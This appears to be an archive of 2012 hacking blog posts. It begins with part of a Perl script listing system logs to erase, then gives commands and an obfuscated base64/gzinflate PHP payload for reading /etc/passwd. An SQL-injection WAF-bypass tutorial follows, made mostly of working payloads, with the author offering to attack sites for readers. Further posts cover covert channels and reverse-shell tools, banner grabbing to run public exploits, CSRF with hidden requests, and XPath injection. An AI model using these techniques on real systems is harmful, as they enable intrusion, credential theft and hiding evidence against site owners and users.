               "/var/adm/sulog", "/var/adm/ras/errlog", "/var/adm/ras/bootlog", 
               "/var/adm/cron/log", "/etc/utmp", "/etc/security/lastlog", 
               "/etc/security/failedlogin", "usr/spool/mqueue/syslog")   
         } 

                                #Logs of SunOS Systems   
      {                     
      @sunos = ("/var/adm/messages", "/var/adm/aculogs", "/var/adm/aculog", 
                 "/var/adm/sulog", "/var/adm/vold.log", "/var/adm/wtmp", 
                 "/var/adm/wtmpx", "/var/adm/utmp", "/var/adm/utmpx", 
                 "/var/adm/log/asppp.log", "/var/log/syslog", 
                 "/var/log/POPlog", "/var/log/authlog", "/var/adm/pacct", 
                 "/var/lp/logs/lpsched", "/var/lp/logs/requests", 
              "/var/cron/logs", "/var/saf/_log", "/var/saf/port/log")
         }     

                                #Logs of Linux Systems       
      {     
       @linux = ("/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp", 
                 "/var/log/secure","/root/.ksh_history", "/root/.bash_history", 
                 "/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp", 
                 "/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm", 
                 "/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs", 
                 "/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog", 
                 "/var/log/messages/", "/var/log/proftpd/xferlog.legacy", 
                 "/var/log/proftpd.xferlog", "/var/log/proftpd.access_log", 
                 "/var/log/httpd/error_log", "/var/log/httpsd/ssl_log", 
                 "/var/log/httpsd/ssl.access_log", "/etc/mail/access", 
                 "/var/log/qmail", "/var/log/smtpd", "/var/log/samba", 
                 "/var/log/samba.log.%m", "/var/lock/samba", "/root/.Xauthority", 
                 "/var/log/poplog", "/var/log/news.all", "/var/log/spooler", 
                 "/var/log/news", "/var/log/news/news", "/var/log/news/news.all", 
                 "/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice", 
                 "/var/log/news/****.err", "/var/log/news/****.notice", 
                 "/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var/spool/locks", 
                 "/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log", 
                 "/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs", 
                 "/var/log/auth")
         } 
         
      }

   }

Bypass forbidden For Get Passwd

2012-09-25T02:50:00.000+05:30

Bypass forbidden For Get Passwd

you Can Use This Commands

COMMAND:



awk -F: '{ print $1 }' /etc*/passwd

COMMAND:



awk -F: '{ print $1 }' /etc*/passwd | sort

COMMAND:



awk -F: '{ print }' /etc*/passwd

COMMAND:


awk -F: '{ print $1 " "$2 " " $3" "$4" "$5 " "$6" "$7" "}' /etc/passwd | sort

Code:

ln -s /etc/ password 2.txt
cat 2.txt

PHP:



 eval(gzinflate(base64_decode('NYzbCoJAEIavd2HfYRIvPERKF0FY0BP0AhVhNrmDpqJrJuG7N2oNzOmfb/7A85QEDw5xa3RZw+l4Sdseuc1yUlZ9Tak2sA7D7agFSippE+whjJTsNOUIDu872IQcLnyUFHZOBTJSlQ29rymaqmvpzpjLP4Ie4CzwWZnemUB3fhI/s5waw5YZ9kuwX7nLPhgn+s9OqMBEl+N1ZZ0LK5qkW41xNo0DF04QNvk+K8MX')));

Code:

 
cd /ect;cat passwd

PHP:



for($uid=0;$uid<60000;$uid++){$ara = @posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "\n";
}
}

WAF Bypass: SQL Injection (forbidden or not ?)

2012-09-25T02:47:00.003+05:30

WAF Bypass: SQL Injection (forbidden or not ?)

WAF BYPASS SQL INJECTION

This is such a wide Topic, but today were going to examine WAF bypas and SQL injection What is a WAF? A WAF is a Web Application Firewall used to filter certain malicious requests and/or keywords. Is a WAF a safe way to protect my Website? Well, thats a tough question. A WAF alone will not protect your website if your code is vulnerable, but a WAF and secure coding will. A WAF should be used as a tool in your tool shed, but you should never count on a WAF to keep attackers out because most, if not all WAF’s can be bypassed with the time and brains.Today,we will take a look into how exactly to do this
1)Comments:

SQL comments are a blessing to us SQL injectors. They allow us to bypass alot of the restrictions of Web application firewalls and to kill certain SQL statements to execute the attackers commands while commenting out the actual legitimate query. Some comments in SQL:

//, — , /**/, #, –+, — -, ;%00

2)Case Changing:

Some WAF’s will filter only lowercase attacks As we can see we can easily evade this by case changing:
Possible Regex filter:

/union\sselect/g

id=1+UnIoN/**/SeLeCT, or with XSS -> alert(1)

3)Inline Comments:

Some WAF’s filter key words like /union\sselect/ig We can bypass this filter by using inline comments most of the time, More complex examples will require more advanced approach like adding SQL keywords that will further separate the two words:

id=1/*!UnIoN*/SeLeCT

Take notice of the exclamation point /*!code*/ The exclamation point executes our SQL statement.
Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can add more inline comments. For example, lets pretend a site filters union,where, table_name, table_schema, =, and information_schema.. These are 3 statements we need to inject our target.
For this we would:

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -

The above code would bypass the filter. Notice we can use “like” instead of “=”
Another way to use inline comemnts, when everything seems to fail you can try to through the application Firewall off by crafting a SQL statement using variables:

id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()– -

The above code should bypass the Union+select filters even where common inline comments didn’t work itself
4)Buffer Overflow:/Unexpected input:

Alot of WAFS are written in the C language making them prone to overflow or or act differently when loaded with a bunch of data. Here is a WAF that does it’s job correctly, but when given a large amount of Data allows the malicious request and response.

id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A’s)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36–+

This bypass above works. I myself just used this against a Web site recently.
5)Replaced keywords(preg_replace and/or WAF’s with the same action):

Sometimes and application will remove all of a keyword. For instance, lets say we have a filter that replaces union select with whitespace. We could bypass that filter like so:

id=1+UNIunionON+SeLselectECT+1,2,3–

As you can see once union+select has been removed our capital UNION+SELECT takes its place successfully injecting our query:

UNION+SELECT+1,2,3–

6)Charachter encoding:

Most WAF’s will decode and filter an applications input, but some WAFs only decode the input once so double encoding can bypass certain filters as the WAF will decode the input once then filter while the Application will keep decoding the SQL statement executing our code.
Examples of double encoding:

id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users–+

Some examples of double encoding are:
HTML:
Single Quote      ' %u0027
                          %u02b9
                          %u02bc
                          %u02c8
                          %u2032
                          %uff07
                          %c0%27
                          %c0%a7
                        %e0%80%a7
______________________________
  White Space:      %u0020
                            %uff00
                            %c0%20
                            %c0%a0
                            %e0%80%a0
_______________________________
  (                        %u0028
                            %uff08
                            %c0%28
                            %c0%a8
                            %e0%80%a8
_____________________________
)                        %u0029
                          %uff09
                          %c0%29
                          %c0%a9
                          %e0%80%a9
______________________________
7)Putting it all together:

After bypassing a few WAF’s the task gets easier and easier, but here are some ways to find out how to bypass “your” targetted WAF:
7a)Breaking the SQL statement:

To find out exactly whats filtered you need to break your own SQL syntax and check for keywords being filtered, seeing if the keyword is filtered alone or in the prescence of other SQL keywords. For instance, if union+select is giving you a Forbidden or a Internal Server Error, try removing Union and seeing what happens with just Select and vice-versa
7b)Verbose Errors:

When breaking the SQL syntax you use the errors to guide you on just needs to be done for instance if were were injecting the broken syntax(Removed union to stop Forbidden errors):

id=1+Select+1,2,3–

And the error was something like:

Error at line 1 near \” \”+1,2,3–

We could gather that maybe the Word Select is being filtered out and replaced with white space. We could confirm this by injection something like:

sel%0bect+1,2,3

From there we would see if we can see a Select error. If we did a few more checks will give us a the answer we need to bypass this WAF. This is just one of many ways to break down the SQL syntax. You may have to keep breaking it, while bypassing different parts.
8)Advanced Bypassing Techniques:

As stated earlier once you have bypassed a few WAF’s it gets easier and easier and more and more FUN When one finds himself running into a wall try going through all the miscreant characters to see whats allowd and whats not allowed. These characters can be: [;:{}()*&$/|<>?"'] We can use these characters to possibly craft a working SQL exploit. For instance, during a WAF bypass I was doing everything was being either filtered or replaced. I noticed that all * were being replaced with whitespace which meant no inline comments. Union+select was also properly filtered to produce a Forbidden error. In this instance I was able to use the replaced * to craft my exploit like so:

id=1+uni*on+sel*ect+1,2,3–+

When the * were filtered out the union+select fell right into place. Now, UNunionION+SELselectECT wasn’t working because union and select were not being replaced only * was. This is a common WAF bypass. Find the replaceable character and you find the exploit
Some other bypasses:

id=1+(UnIoN)+(SelECT)+

id=1+(UnIoN+SeLeCT)+

id=1+(UnI)(oN)+(SeL)(EcT)

id=1+’UnI”On’+'SeL”ECT’ <-MySQL only

id=1+'UnI'||'on'+SeLeCT' <-MSSQL only

As of MySQL 4.0 it is said that Uni/**/on+Sel/**/ect will not work for bypass, but if the application firewall was customized to Filter /**/ out to whitespace it will work no matter what the version.
If anyone needs any help bypassing filters after reading and trying the above tactics please pm me with the website and I will give it a go. I love this shit!!!!!!!!!!!!!!! I know this isn’t an exhaustive filter bypass tutorial, but using the above methods(and your brain) will help you bypass most WAF’s today.
Enjoy!!
Sources:

Web Application Hackers Handbook
SQL injections: Attack and Defense.

Covert Channels on Internet Protocols

2012-09-25T02:44:00.002+05:30

Covert Channels on Internet Protocols

"KNOWLEDGE IS FREE"

Covert Channels have been defined for the first time by Lampson in 1973 as a communication channel not designed for any kind of information transfer.
Unsurprisingly covert channels defined in 1973 are system based. However they are still relevant in any shared environment.
• Storage Channels : the most basic indeed, based on the used of a shared data storage area. Most evolved techniques rely on locks or semaphores which positioning may be a piece of information such as a 1 when no lock means 0.
• Timing Channels : the time needed by a process to perform an operation can be voluntarily manipulated to provide information to another process.
• Termination Channels : a process launches a task. It this task is finished at a specified time it means 1, 0 otherwise.
• Resource Exhaustion Channels : the value (0 or 1) is provided by the availability of a specific resource which may be filled up (hard disk), overloaded (100% cpu) etc.
• Power Channels : in this case the information is based on power consumption.

http://www.iv2-technologies.com/CovertChannels.pdf
----

//gray-world.net/projects/papers/html/covert_paper.html

1. THE HTTP THEORY APPROACH

1.1. THE HTTP PROTOCOL IN OUR CYBER-WORLD

1.2. BASICALLY, THE HTTP PROTOCOL IS

1.3. THE HTTP CLIENT/SERVER PROTOCOL ABSTRACTION

1.4. WHY DID WE CHOOSE AN HTTP THEORY APPROACH ?

2. CLIENT/SERVER IMPLEMENTATION

2.1. SERVER MODELS

2.1.1. Httpd-like server model

2.1.2. Proxy-like server model

2.1.3. CGI-like server model

2.2. ON THE WIRE MODELS

2.2.1. Server proxy chain model

2.2.2. Intermediary distributed servers model

2.2.3. Almost-real proxy server model

2.2.4. Legitimate third-party model

2.3. MODES

2.3.1. Single application client mode

2.3.2. Single application client proxy mode

2.3.3. Server proxy mode

2.3.4. Client reverse connection proxy mode

2.3.5. Proprietary user defined protocol mode

2.4. APPLYING MODELS AND MODES IN THE REAL WORLD

2.4.1. HTTP proxies

2.4.2. Reverse proxies

2.4.3. Other applications are using HTTP intermediaries

3. USING HTTP METHODS

3.1. DATA CONTAINERS RESTRICTIONS

3.1.1. URI string

3.1.2. Header string

3.1.3. Message body

3.2. METHODS WITHOUT MESSAGE BODY : GET, HEAD, DELETE

3.2.1. The GET method

3.2.2. The HEAD method

3.2.3. The DELETE method

3.3. METHODS WITH MESSAGE BODY : OPTIONS, POST, PUT, TRACE

3.3.1. The OPTIONS method

3.3.2. The POST method

3.3.3. The PUT method

3.3.4. The TRACE method

3.4. THE HTTP PROXY CONNECT METHOD

3.5. CONCLUSION

4. SECURITY ASPECTS

4.1. AUTHENTICATION

4.2. AUTHORIZATION

4.3. DATA STREAM CIPHERING

4.4. DATA STREAM INTEGRITY

4.5. REPLAY PROTECTION

5. COVERING AND STENOGRAPHIC METHODS

5.1. CONFUSION ON THE HTTP STREAM

5.1.1. Hiding data in the HTTP header

5.1.2. Hiding data in the HTTP body

5.2. CONFUSION ON THE DATA STREAM

5.3. CONFUSION ON THE SERVER SIDE
=============

Various design aspects can be taken into consideration when implementing an HTTP Client/Server covert channel tool : What kind of server model can be implemented (Httpd-like, Proxy-like, CGI-Like) - How can the tool be designed to add confusion from a traffic watcher point of view (Server proxy chain, Intermediaries distributed servers, Almost-real proxy server and legitimate third-party models) - What kind of functionality can be implemented into the covert channel (Single application client and Single application client proxy modes, Server proxy mode, Client reverse connection proxy mode and Proprietary user defined protocol mode).

Then, when the HTTP covert channel client/server tool is modeled, designers can think about how their design could be applied in a real world environment : What kind of HTTP method can be used (With or Without Message body, be using the CONNECT method or not ?) - What kind of HTTP legitimate servers can be used to transit the arbitrary data stream through the NACS (HTTP and reverse proxies, other applications).

http://gray-world.net/projects/papers/cctde.txt

==========

Covert channel methods establishing unauthorized tunnels are often used to transit real world application data streams. A Covert Channel (CC) client opens a legitimate connection through a NACS and uses this connection to send and receive arbitrary data from a CC server.

Questions are now : "What characterizes such kind of covert channel
tunnels ?" and "What kind of tunnel traces can we get from the network streams ?".

We will now present some kind of tunnel traces. Some of them may be redundant to the reader point of view but we are trying here to have a (non-exhaustive) list of tunnel traces.

Unauthorized tunnel traces :

(1) : High amount of inbound/outbound data transiting through the NACS -
Inside POST or PUT requests for example - These high data amounts
may occur one time only or be generated during a specific period
delay.
(2) : Small but frequent amount of inbound/outbound data transiting
through the NACS - A CC telnet-like communication channel will, for
example, generate a very small but frequent amount of data.
(3) : Requests/responses are sent too frequently or are sent on a curious
static interval.
(4) : One "user" requests a small quantity of external resources too
frequently.
(5) : The data stream transiting through the NACS contains some specific
patterns such as SSH banners for examples.
(6) : The data stream transiting through the NACS generates HTTP protocol
anomalies or violations.

The first four tunnel traces could be detected by a behavioral-based detection engine. The fifth one could be detected by a signature-based one while the last tunnel trace could be detected by a protocol-based one

Covert storage channels include all vehicles that would allow the direct or
indirect writing of a storage location by one process and the direct or indirect reading of it by another. Covert timing channels include all vehicles that would allow one process to signal information to another process by modulating its own use of system resources in such a way that the change in response time observed by the second process would provide information.”

http://gray-world.net/papers/adiscussionofcc.pdf
=======

http://en.wikipedia.org/wiki/Covert_channel

http://www.cl.cam.ac.uk/~sjm217/papers/ ... erttcp.pdf

http://david.inchcolm.org/Portals/6/050 ... Slides.pdf

A GUIDE TO UNDERSTANDING COVERT CHANNEL ANALYSIS OF TRUSTED SYSTEMS
http://www.fas.org/irp/nsa/rainbow/tg030.htm

http://www-scf.usc.edu/~csci530l/downloads/covert_tcp.c
/* Covert_TCP 1.0 - Covert channel file transfer for Linux
* Written by Craig H. Rowland (crowland@psionic.com)
* Copyright 1996 Craig H. Rowland (11-15-96)
* NOT FOR COMMERCIAL USE WITHOUT PERMISSION.
*
*
* This program manipulates the TCP/IP header to transfer a file one byte
* at a time to a destination host. This program can act as a server and a client
* and can be used to conceal transmission of data inside the IP header.
* This is useful for bypassing firewalls from the inside, and for
* exporting data with innocuous looking packets that contain no data for
* sniffers to analyze. In other words, spy stuff...
*
* PLEASE see the enclosed paper for more information!!
*
* This software should be used at your own risk.
*
* compile: cc -o covert_tcp covert_tcp.c
------------

http://www.cycom.se/dl/rrs

rrs is a reverse (connecting) remote shell. Instead of listening for incoming connections it will connect out to a listener (rrs in listen mode). The listener will accept the connection and receive a shell from the remote host. rrs features full pseudo-tty support, full OpenSSL support (high encryption, client/server authentication, choice of cipher suites), Two-fish encryption, a simple XOR cipher, plain-text (unencrypted) session, peer-side session monitoring (snooping), daemon option and reconnection features. rrs is Free Software distributed under the MIT License and is known to compile and run under Linux, FreeBSD, NetBSD, OpenBSD and QNX.

-----
http://www.plenz.com/reverseshell

In this little guide I'll quickly cover three very helpful methods to get a reverse shell on a host, using ssh, netcat or Perl.

-----

http://sourceforge.net/projects/matahari/

A reverse HTTP shell to execute commands on remote machines behind firewalls. Once you run the script on the target machine, it periodically polls its designated server for commands to execute. Traffic traverses firewall as outgoing GET/POST requests.

-----

http://www.iv2-technologies.com/CovertChannels.pdf

the reason why ICMP was one of the first protocols that was used for
covert channels, often considered (and is still sometimes) as innocuous and offering a great "legitimate" possible load thanks to the data field. This field provides from 84 bytes (ICMP Redirect/Destination unreachable) to (MTU-28) bytes (ICMP echo request/replies), which is a very good capacity.
A trivial implementation is provided by the icmpchat tool [icmpchat]. This is an ICMP stealth equivalent of talk using any ICMP type and code and providing encryption.

At the application layer, covert channels will make possible to use legitimate traffic both from the security policy and communication standards point of view. Also such traffic should not look too suspicious as important HTTP traffic always look more natural than
ICMP.
Due to outgoing restrictions, most application traffics used to create channels are the web, mail and DNS ones. When they are linked to really mechanisms such as proxy chains or anonymous re-mailers, these channels ensure integrity (in the TCP meaning) of the communication, very good capacity and an indubitable resistance to source trace-back.
What is more, and because application protocols are full of functionalists,
possibilities to create channels are almost unlimited.

-----

http://caia.swin.edu.au/cv/szander/cc/c ... s-bib.html

[1] D. Stødle. ptunnel - Ping Tunnel, 2005. http://www.cs.uit.no/daniels/PingTunnel.
[ http ]
[2] P. LeBoutillier. HTTunnel, 2005. http://sourceforge.net/projects/httunnel/.
[ http ]
[3] T. M. Gil. IP-over-ICMP using ICMPTX, 2005. http://thomer.com/icmptx/.
[ http ]
[4] T. M. Gil. IP-over-DNS using NSTX, 2005. http://thomer.com/howtos/nstx/.
[ http ]
[5] Sergey Chvalyuk. Icmp Tunnel - ITun, 2005. http://sourceforge.net/projects/itun.
[ http ]
[6] I. Zelenchuk. Skeeve - ICMP bounce tunnel, 2004. http://www.gray-world.net/poc_skeeve.shtml.
[ http ]
[7] T. Pietraszek. IP-over-DNS tunneling using DNScat, 2004. http://tadek.pietraszek.org/projects/DNScat/.
[ http ]
[8] D. Kaminsky. IP-over-DNS using Ozyman, 2004. http://www.doxpara.com/.
[ http ]
[9] J. Rutkowska. NUSHU Passive Covert Channels in the Linux Kernel, 2004. http://www.invisiblethings.org/tools.html.
[ .html ]
[10] T. MacDermid. StegTunnel - Covert Channel in IPID, 2003. http://www.synacklabs.net/projects/stegtunnel.
[ http ]
[11] M. Langston. Sifr's Obfuscator (PoC-code), 2003. http://www.bitshift.org/archives/new-sob.c.
[ http ]
[12] S. Castro. Covert Channel Tunneling Tool (cctt), 2003. http://gray-world.net/pr_cctt.shtml.
[ http ]
[13] A. Dyatlov. Firepass - Is a Tunneling Tool, 2003. http://gray-world.net/pr_firepass.shtml.
[ http ]
[14] P. Padgett. Corkscrew, 2001. http://www.agroman.net/corkscrew/.
[ http ]
[15] A. Vidstrom. AckCmd Backdoor, 2000. http://ntsecurity.nu/toolbox/ackcmd/.
[ http ]
[16] M. Lundström. MailTunnel. http://gray-world.net/tools/mailtunnel-0.2.tar.gz.
[ http ]
[17] A. Heydecke. Sockster/trapster - covert channel and tunnel development. http://tunnel.gotdns.org.
[ http ]
[18] W. Zheng. MsnShell - Encapsulate Shell Commands Within MSN. http://gray-world.net/pr_msnshell.shtml.

Banner Grabbing: Enumeration & Exploitation

2012-09-25T02:43:00.000+05:30

Banner Grabbing: Enumeration & Exploitation

=============================================
Banner Grabbing: Enumeration & Exploitation
=============================================

Most of the time an attackers, wants to find out a remote service's version, so that he can exploit it with an exploit/vulnerability, duh.

As a general rule method, a nice tool such as amap can be used to determine the running services, their versions, and also the port(s) they're running on. For all lazy bum, use it in this format:

[$bash]$ amap -sT intranet.example.com 1234

But, that's too lazy, and it's not 1337 at all!
Why use tools, when you can learn a lot more by doing it manually. So, let me take the people who do NOT know how to enumerate or exploit, through the rabbit hole. Let's go by example.. and do the easiest one first,

1. FTP Enumeration & Exploitation, for beginners:

a) For a server running an FTP server. To find it's version, all we do is connect to the server, and wait like good boys and girls. Hopefully, the admin is a dummy, and he didn't fake the banner info. So, go ahead and ftp to the server:

[$bash]$ ftp 192.168.1.1
connected to 192.168.1.1 (192.168.1.1)
220 192.168.1.1 FTP Server (version wu-2.6.2+Sun) ready.

We, could have done the same thing with Telnet... remember?

[$bash]$ telnet 192.168.1.1 21
connected to 192.168.1.1 (192.168.1.1)
220 192.168.1.1 FTP Server (version wu-2.6.2+Sun) ready.

You've just grabbed their banner (how Schwetty!)

Now, we know the version from the result of the established connection.
Logically, Since you're a bad boy/girl you think first and foremost about getting into the server.
In order to get in, you go to google and type in "wu-2.6.2 exploit". Hopefully, you get a code in c (.c) or perl (.pl) already coded for you.. Or go to securityfocus, or milw0rm and find the exploit.

b) Go ahead, download the C or Perl exploit. For this example, the I found the exploit in C by using google:

http://marc.theaimsgroup.com/?l=bugtraq&m=106001702232325&w=2

c) Compile it, with GCC:

[$bash]$ gcc wu262.c -o wu262

d) Point it to your victim (lol):

[$bash]$ ./wu262.c 192.168.1.100

[If you don't know how to make exploits right now, learn how to make your own! It won't always be this EASY, and most of the time it's not! Learn C, Perl, Ruby, or C++. I'm only using this as an example, since I can't cover how to to make exploits in the same tutorial. Time willing, I will make something on that topic later.]

2. SSH Enumeration & Exploitation, for beginners:

The same concepts and techniques apply also for the SSH deamon or service. So go ahead and telnet to it, but this time to port 22, instead of port 21.

[$bash]$ telnet 192.168.1.1 22
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape Character is '^]'.
SSH-1.99-OpenSSH_3.4pl

You've just grabbed their banner (how Schwetty!)

So, use google ('Tis really an amazing Engine!").
Download, Compile, and "point" your exploit to the target. If all went well, then your payload should be whatever the shellcode is set to do.

[Shellcoding is also something I recommend getting into. Microprocessor Architecture, Assembly Programming, and Hex knowledge helps a LOT in coding your exploits.]

HOPEFULLY, since you understood the above examples work, you can apply it to other services, like:

3. SNMP (Simple Mail Transfer Protocol) on Port 25
4. POP3 (Post Office Protocol 3) on Port 110

5. DNS (Domain Name System) on Port 53
The most widely used DNS server software on Linux is Bind, so to find it's version, we use a different method:

[$bash]$ dig -t tct -c chaos VERSION.BIND @192.168.1.1
... (look for something like this, but there's a lot of output)
;; ANSWER SECTION:
;VERSION.BIND 0 CH TXT "8.3.3-REL"
;; Query Time: 30 msec
;; SERVER: 192.168.1.1#53 (192.168.1.1)
;; WHEN: SAT Jan 18 03:30:30 2007
;; MSG SIZE rcvd: 64

We can see the version is: Bind 8.3.3 (so, you know what to do from here).

6. HTTP (HyperText Transfer Protocol) on Port 80

[$bash]$ telnet 192.168.1.1 80
trying 192.168.1.1...
connected to www.example.com.
Escape Character is '^]'.

and query the server for the following info:

HEAD / HTTP/1.0
[ENTER][ENTER]

you should get a response resembling the following:

HTTP/1.1 200 OK
Date: SAT Jan 18 03:30:30 2007
Server: Apache/1.3.27 (Unix) PHP/4.2.1 mod_jk/1.2.0 mod_ssl/2.8.12 OpenSSL/0.9.6h
...

WOW, what a bunch of information.. There's so much we can do with this. But it's up to you to decided what you want to attack, because we have such a plethora of choices.

7. MySQL on Port 3306 (TCP)

[$bash]$ telnet 192.168.1.1 3306
trying 192.168.1.1...
connected to www.example.com.
Escape Character is '^]'.
(3.23.49&r/3Nod*Connection closed by foreign Host.

Hmmm... Beautiful! We see the version, here, is 3.23.49

8. Obtaining the Victim's Telnet Server Banner (which, hopefully, reveals the OS Version...)

[$bash]$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape Character is '^]'.
SunOS 5.8

Now, we know their OS, and also it's version (Sun 5.8).
Thus, we go on search looking for that particular OS's vulnerabilities.

For example, I've found Several Vulnerabilities of that particular OS Version, that are hopefully still unpatched by Administrator.

-------------------------------
Solaris Whodo Buffer Overflow Vulnerability (Exploit, SOR, CFTIME)

http://www.securiteam.com/exploits/5AP0E0U4UU.html

Multiple Vendor rpc.yppasswdd Buffer Overrun Vulnerability

http://www.securityfocus.com/bid/2763/discuss

Solaris uucp Buffer Overflow Vulnerability

http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=92

The Sun Solstice Enterprise Manager (Solstice EM) daemon and the Sun SNMP agent components
h

ttp://www.symantec.com/security_response/vulnerability.jsp?bid=2005

These are old exploits, but once again, this is just an example to simulate the real world.

Hope you at least got something out of this tutorial.

---------------------------------------------THANK YOU ALL ----------------------------------------------

Introduction to Cross Site Request Forgery

2012-09-25T02:41:00.005+05:30

Introduction to Cross Site Request Forgery

"KNOWLEDGE IS FREE"

Website security An introduction to Cross-site request forgery. Description, explanation, examples, prevention

-------------------------------------
Introduction to
Cross Site Request Forgery
-------------------------------------

What is it?

Instead of just a definition, how about a situational breakdown first:
Cross-site: The action is being done by one user(on a site) and it affects one or more other users(on other sites).
Request: An HTTP request being made on a page
Forgery: Someone else sending a request your way and you making it
CSRF or XSRF for short
The two most fitting nicknames for it I think are Sea-Surf(made from pronouncing the acronym CSRF, you are surfing the internet taking advantage of their session) and session riding, since you are taking advantage of another user's session to perform certain tasks(riding it).

Different?

You may have noticed how the name is similar to XSS as far as the cross-site part goes. This is true because both attacks require more than one user to carry out. In an XSS example, you would need one person to
inject code into a guestbook, but then another user to view that page and get his cookies stolen. In a similar sense, in a CSRF attack one user would trick another into making a request. With CSRF though, a certain
script may be executed when they visit the page, but there is an action being performed just by them accessing the page. It's not something on the page that's being exploited, but just them going to the page unknowingly.

What is required?

Some form of authentication. Like I said, it is a two person job. The victim is logged in and when he "signs" these forged requests, he(or she) is actually doing the final step of the attack. It's required for the person
to have some kind of privilege on the site, whether it be admin, developer, or a plain and simple registered user. The reason is because a number of new pages are now available once you have some sort of further
access within the site. (Like when you are logged out of HBH, you can't use the shoutbox, post in the forums, do the challenges, submit code etc) Just like you couldn't make a new entry or add a friend unless logged
in on myspace or another blog/networking site. A person viewing your site that is not logged in would not be at risk.

Why it works?

Because the (vulnerable) sites do not check to see if it's actually the real person making the request or not. There are simple solutions for this though, I'll get into those later.

Proof of concept:

First, you have to know exactly what's going on before crafting links and getting fancy. Slick sends a link to Smooth in an IM window. He tells Smooth how he just uploaded some new pictures a few hours ago, and
wants someone's opinion on how they look. In reality, Slick hasn't been logged in since a week ago. That doesn't really matter though, because at the moment, Smooth is logged in. It's only because he saw pictures
of Smooth and his girlfriend last month that he's motivated for such an attack. If you didn't know what I meant by "action", it's just something being done on a page. One of the easiest ways to exploit CSRF is to exploit
URL's that use the GET method of requesting(http://site.com/do_you.php?get=it) Post is vulnerable too, more on that later.

Here would be the basic link to close Smooth's account:

Slick wants to make this a done deal though, he knows if Smooth sees that, he'll know something is fishy. He does a little crafting with hex encoding.

Smooth dismisses that as a bunch of mumbo jumbo to do with the site that Slick probably doesn't know anything about, so he clicks the link. myimagehostingsite.net doesn't know how the link came to be or how it's being
accessed, it just knows it's being accessed in Smooth's session. Once he is at closeAcct.php and the confirm variable is set to "yes", the account is wiped from the database.

Crafting Examples

Hex encoding is just one way to disguise a link. Here are a few ways to actually hide that a request will be made at all. One common and sneaky way to craft the link is to put it inside of an image tag. Unlike the case of
a hyperlink, you don't have to click it, because it automatically makes an HTTP request on the image when the page loads.
Here's what we could put in an html document.

" width="0" height="0">

Notice the width and height are 0, for the reason we don't want anyone noticing the broken image. That might suggest something suspicious is going on.

Double click picture to enlarge

over="window.location='http://site.com/not-so-elusive-site.php'">

We trick the user into holding the cursor over the image, then they are redirected. (Unlikely that a person will view the source before going to the page,

"> load="request.submit()">
We gave the name "request" to the form, then submitted it when the page loaded. Still vulnerable with $_POST!

The Misconception

Do you think that since GET variables are displayed in the URL and submitted once a link is clicked that POST variables are safe from CSRF? Well, you wouldn't be so lucky(depending on how you look at it). Attacks like phishing can easily work around using a GET page.
Javascript is also handy for submitting forms with post fields. Refer to the last example if you didn't already catch that.

Preventing

On the user's end, they can log out of a site when they aren't using it, that way their session isn't open for attacks from other users. On the coder's end, it is solved by generating a unique key for an action the user could perform
and only follow through on it if they key equals the right value. On a side note, something that won't prevent but will do damage control if you are attacked is to not use the same password for multiple sites. This is a bad idea and
you could get completely screwed over this way.

Closing

Surprisingly, I know some people are already knowledgeable on this, but hopefully you enjoyed the read anyway. Comments welcome.

XPath Injection Attacks

2012-09-25T02:37:00.002+05:30

XPath Injection Attacks

" KNOWLEDGE IS FREE "

Website Security XPath Injection Attacks Methodology and Examples...

This will be not my responsibility to how you use this Process.

XPath Injection Attacks:

PREREQUISITE -
- Basic Programming Skills and Data manipulation in XML (Extensible Markup Language) and XPath.
- Basic Knowledge of Web Applications' Input Vulnerabilities and Sanitisation Methods
- Beginner level Understanding of Client/Server Communication Protocol and Authentication Procedure

SUGGESTED KNOWLEDGE -
- Intermediated Understanding of ASP.NET, JAVA and/or C# Code and Web Programming

PURPOSE -
- Attack used to Extract data from XML Databases/documents
- Manipulate Data from local/remote location to Server (Victim)

DEFINITIONS -

[1]"XPath injection is an attack targeting Web sites that create XPath queries from user-supplied data. If an application embeds unprotected data into an XPath query, the query can be altered so that it is no longer parsed in the manner originally intended. This can be done by bypassing the Web site authentication system and extracting the structure of one or more XML documents in the site."

[2]"XPath 1.0 is a language used to refer to parts of an XML document. It can be used directly by an application to query an XML document, or as part of a larger operation such as applying an XSLT transformation to an XML document, or applying an XQuery to an XML document."

Similar to SQL Injections, XPath injections manipulate data on XML databases. Therefore, an analogy can be created to relate the two injection methods. They share many things in common, such as the use of regex expressions, and, most importantly, their payload; in this case, to obtain data from a server locally, or in most cases remotely from the client.

Assuming, you know XML and XPATH, we're going to dive directly into the attack Methodology by using examples of exploitable vulnerabilities.

1ST EXAMPLE:

Similarities to SQL...

In SQL, we use regex expressions to "trick" the server, by passing (somewhat) malicious input to it, like:

if the login system was setup as follows:
Select * from users where LoginID=' ' and passwd=' '

we can exploit as such:
abc' or 1=1 --

and we'll have a payload or desired input query passed to the server to execute our input, thus making it be:
Select * from users where LoginID = 'abc' or 1=1 -- 'and passwd=' '

we commented out the password requirement, and passed only our LoginID, which turns out to be TRUE.

The Same concept applies to XML databases/documents with a XPath Injections...
That same code, when translated to XPath, becomes:

For the Insecure/exploitable Login System, accepts input as follows:
